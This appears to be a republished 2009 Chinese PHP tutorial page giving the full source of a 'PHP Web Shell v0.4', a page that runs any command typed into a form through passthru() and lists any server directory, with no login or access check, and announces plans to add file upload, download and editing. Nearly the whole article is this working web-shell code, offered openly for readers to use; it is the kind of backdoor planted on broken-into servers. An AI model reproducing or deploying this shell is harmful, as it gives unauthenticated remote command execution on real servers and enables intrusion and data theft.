当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP Shell的编写(改进版)

PHP
php ignore_user_abort与register_shutdown_function 使用方法
PHP写MySQL数据 实现代码
phpmyadmin 访问被拒绝的真实原因
PHP 程序员也要学会使用“异常”
php MYSQL 数据备份类
PHP 类型转换函数intval
php 图像函数大举例(非原创)
PHP 输出缓存详解
PHP COOKIE设置为浏览器进程
ie6 动态缩略图不显示的原因
php 将bmp图片转为jpg等其他任意格式的图片
discuz7 phpMysql操作类
一个php Mysql类 可以参考学习熟悉下
php 分页函数multi() discuz
学习discuz php 引入文件的方法DISCUZ_ROOT
php fckeditor 调用的函数
mysql 性能的检查和优化方法
PHP 高级课程笔记 面向对象
PHP 多进程 解决难题
php 404错误页面实现代码

PHP Shell的编写(改进版)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-08-14   浏览: 181 ::
收藏到网摘: n/a

以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!


程序介绍:

程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录


未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能

程序代码:

<html>
<head>
<title>PHP Web Shell v0.4</title>
<!-- 定义文件样式 -->
<style>
<!--
.input{BORDER-RIGHT: #888888 1px solid; BORDER-TOP: #888888 1px solid; BACKGROUND: #ffffff; BORDER-LEFT: #888888 1px solid; BORDER-BOTTOM: #888888 1px solid; FONT-FAMILY: "Verdana", "Arial"font-color: #ffffff;FONT-SIZE: 9pt;}
.font{FONT-SIZE: 9pt;}
.fonts{FONT-SIZE: 15pt;}
TABLE{FONT-SIZE: 9pt; COLOR: #006666}
A {FONT-SIZE: 9pt; COLOR: #6666cc; TEXT-DECORATION: none}
A:hover {FONT-SIZE: 9pt; COLOR: #ff3333; TEXT-DECORATION: none}
BODY
{    SCROLLBAR-FACE-COLOR: #ffffff;
    SCROLLBAR-HIGHLIGHT-COLOR: #6c6c90;
    SCROLLBAR-SHADOW-COLOR: #fcfcfc;
    SCROLLBAR-3DLIGHT-COLOR: #fcfcfc;
     SCROLLBAR-ARROW-COLOR: #240024;
    SCROLLBAR-TRACK-COLOR: #fcfcfc;
    SCROLLBAR-DARKSHADOW-COLOR: #48486c;
    SCROLLBAR-BASE-COLOR: #fcfcfc
}
-->
</STYLE>
</head>

<body bgcolor="#eeeeee" text="#000000">
<center><font size=3 color=red class=fonts><b>PHP Web Shell</b></font> v0.4
<font size=2 color="000000" class=font>适用系统:Win32/Linux/Unix/BSD</font>


<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>"> //获取脚本本身
<font class=font>输入命令 </font><INPUT TYPE="text" NAME="cmd" size=20 class=input>
<INPUT TYPE="submit" value="执行" class=input>

<font class=font>输入目录 </font><INPUT TYPE="text" NAME="dir" size=20 class=input>
<INPUT TYPE="submit" value="浏览" class=input>
</FORM>
</center>
<pre>
<font size=2 color="000000" class=font>
<?php
echo "服务器地址: <a href=\"http://$_SERVER[SERVER_NAME]\">$_SERVER[SERVER_NAME]</a>
"; //显示服务器域名或IP地址
echo "本文件路径: $_SERVER[PATH_TRANSLATED]";  //显示文件所在路径
?>


<?php
if(!empty($cmd)) {
echo "执行 <font color=red>$cmd</font> 命令后的结果:
"; //执行命令后的提示
}
if(!empty($dir)) {
echo "浏览目录 <font color=red>$dir</font> 的结果:
"; //查看目录后的提示
}
?>
<hr size=1>
<?php
if(empty($cmd) && empty($dir)) { //判断有没有输入命令,如果没有则出现错误提示
    echo " 请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru($cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等
$f = @opendir($dir);  //利用opendir()函数来获取目录信息赋值给变量
while($file = @readdir($f)) { //使用readdir()函数循环读取目录信息
    echo "$file\n"; //分行显示获取的目录信息
}
?>
</font>
</pre>

</body>
</html>